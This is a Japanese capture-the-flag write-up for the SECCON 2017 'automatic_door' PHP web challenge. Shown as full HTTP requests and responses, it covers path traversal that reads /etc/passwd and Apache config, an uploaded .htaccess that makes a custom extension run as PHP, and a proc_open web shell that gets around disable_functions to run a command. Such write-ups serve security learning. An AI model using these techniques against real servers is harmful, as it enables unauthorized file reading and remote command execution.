Tags: web php 

Rating:

# ▼▼▼automatic_door(Web:500)、73/1028team=7.1%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

---

```
automatic_door

Get shell, and execute /flag_x
```

---

`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/`

```
getSize();
}
}
return $bytestotal;
}

if (isset($_GET['action'])) {
if ($_GET['action'] == 'pwd') {
echo $d;

exit;
}
else if ($_GET['action'] == 'phpinfo') {
phpinfo();

exit;
}
else if ($_GET['action'] == 'read') {
$f = $_GET['filename'];
if (read_ok($f))
echo file_get_contents($d . $f);
else
echo $fail;

exit;
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
else
echo $fail;

if (GetDirectorySize($d) > 10000) {
rmdir($d);
}

exit;
} else if ($_GET['action'] == 'delete') {
$f = $_GET['filename'];
if (write_ok($f))
print_r(unlink($d . $f));
else
echo $fail;

exit;
}
}

highlight_file(__FILE__);
```

`$_GET['action']`では、`pwd`、`phpinfo`、`read`、`write`、`delete`が使えることがわかる。

---
順に使ってみる

### 【1:pwd】

`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd`

`sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/`

現在のフォルダが得られる

---

### 【2:phpinfo】

`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=phpinfo`

phpinfo()の内容が表示される。とりあえず、下記の気になる箇所だけ確認した。
```
allow_url_fopen=on
allow_url_include=off
```

URLを挿入してもアクセスしにこない設定になっている。

---

### 【3:read】

ファイルを読み込めるのだが、現在読み込めるファイルがないので、パストラバーサルで`/etc/passwd`を読み込んでみる

`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../../etc/passwd`

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
ntp:x:108:114::/home/ntp:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu User,,,:/home/ubuntu:/bin/bash
nomuken:x:1001:100::/home/nomuken:/bin/bash
seccon:x:1002:100::/home/seccon:/bin/bash
prometheus:x:110:117:Prometheus daemon,,,:/var/lib/prometheus:/bin/false
```

パストラバーサルの脆弱性が存在し、ファイルが読み込めることがわかる★

---

### 【4:write】

```
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
```

`$_FILES['file']`とは、`POST`で`multipart/form-data`形式でアップロードされたファイルを取得するもの。

`GET`で`action=write`を送信しつつ、`POST`で`file`パラメータを送信する必要がある。

---

ファイル名`test`で、内容`testtest`のものをアップロードしてみる

```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=test HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 166

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test"

testtest
--boundary--
```

`test`ファイルを読み込む

`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=test`

`testtest`が取得できた

書き込み&閲覧することができた。

---

しかし、writeでは下記の制約がある

`if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {`

`ph`がチェックされるのでphpファイルはアップロードできないようになっている。

---

次に設定変更できるファイルである`.httaccess`の現在の設定を確認するために、apache2の設定ファイル`/etc/apache2/apache2.conf`を取得してみる

`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../etc/apache2/apache2.conf`

```
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
```

`AccessFileName .htaccess`と`.htaccess`を読み込む設定になっており、`allowoverride None`が記載されていない。

`.htaccess`をアップロードすれば、設定を変更することが可能。

---

下記のように、「拡張子`.tttt`の場合に、phpファイルとして実行する」ように記載した`.htaccess`ファイルをアップロードする。

```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 204

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"

AddType application/x-httpd-php .php .tttt
--boundary--
```

```
GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=.htaccess HTTP/1.1

HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:24:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 42
Connection: close
Content-Type: text/html; charset=UTF-8

AddType application/x-httpd-php .php .tttt
```

アップロードできていることが確認できた。

---

次に`p.tttt`というファイル名で、とりあえず`/bin/ls`を実行するPHPコードをアップロードしてみる。

```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"

--boundary--
```

次に、アップロードした`p.tttt`ファイルにアクセスしてみる

`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`

PHPが実行され、`ok`は表示されるものの`system()`が実行されないことがわかった。

---

よって、禁止されている関数を確認するために、`phpinfo()`を確認してみる。

```
disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,passthru,popen,shell_exec,system
```

これを元に、コマンド実行が可能な関数を絞っていく。

```
×exec()
×passthru()
×shell_exec()
×system()
×pcntl_exec()
×pcntl_fork()
○proc_open()
×popen()
```

`proc_open()`が使えそうだ

---

`p.tttt`というファイル名で、`/flag_x`を実行するPHPコードをアップロードする

```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200

--boundary
Content-Disposition: form-data; name="action"

write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"

array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

$process = proc_open($cmd, $descriptorspec, $pipes);
$result_message = "";
$error_message = "";
$return = null;
if (is_resource($process))
{
fputs($pipes[0], $stdin);
fclose($pipes[0]);

while ($error = fgets($pipes[2])){
$error_message .= $error;
}
while ($result = fgets($pipes[1])){
$result_message .= $result;
}
foreach ($pipes as $k=>$_rs){
if (is_resource($_rs)){
fclose($_rs);
}
}
$return = proc_close($process);
}
return array(
'return' => $return,
'stdout' => $result_message,
'stderr' => $error_message,
);
}

$cmd = "/flag_x";
$ret = system_ex($cmd, $input);
var_dump($ret);
?>
--boundary--
```

---

アップロードした`p.tttt`ファイルにアクセスする

`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`

```
HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:51:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 141
Connection: close
Content-Type: text/html; charset=UTF-8

okarray(3) {
["return"]=>
int(0)
["stdout"]=>
string(41) "SECCON{f6c085facd0897b47f5f1d7687030ae7}
"
["stderr"]=>
string(0) ""
}
```

`SECCON{f6c085facd0897b47f5f1d7687030ae7}`